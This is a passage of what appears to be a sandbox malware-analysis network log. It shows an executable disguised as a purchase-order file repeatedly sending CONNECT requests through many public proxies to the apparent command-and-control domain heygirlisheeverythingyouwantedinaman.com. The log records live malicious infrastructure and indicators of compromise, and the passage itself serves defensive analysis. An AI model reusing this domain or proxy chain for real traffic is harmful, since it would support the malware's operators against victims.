Mar 11, 2024 16:42:20.525691032 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.11	50438	59.15.28.76	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.220702887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376214981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.376899004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376351118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.376152039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.11	51118	13.37.59.99	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.225511074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.522315025 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:20 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.11	51099	91.189.177.188	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.235989094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.938591003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.046878099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.142148972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.236434937 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:29 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3703 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.11	51331	43.153.174.197	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.246860027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.11	50578	54.178.159.199	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.261109114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:16.958040953 CET	503	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Mar 2024 15:42:21 GMT Connection: close Content-Length: 324 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 55 52 4c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid URL</h2><hr><p>HTTP Error 400. The request URL is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.11	51187	198.23.229.203	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.302222967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.11	51167	190.153.121.2	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.302489042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.11	51159	184.178.172.25	15291	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.302540064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.11	51168	184.181.217.194	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.302704096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.11	51228	104.21.85.200	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.312779903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.467154026 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.11	51149	193.239.56.84	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.315469980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.11	50372	220.194.189.144	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.316976070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.762816906 CET	719	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Mon, 11 Mar 2024 16:05:24 GMT Content-Type: text/html Content-Length: 563 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.11	51136	58.234.116.197	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.319874048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.11	50522	188.166.56.246	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.333412886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376282930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.376910925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376296043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.375967979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.376431942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.469748020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:32.469957113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:20.469839096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.11	51186	174.64.199.79	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.340115070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.11	51251	172.64.152.98	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.346757889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.500818968 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
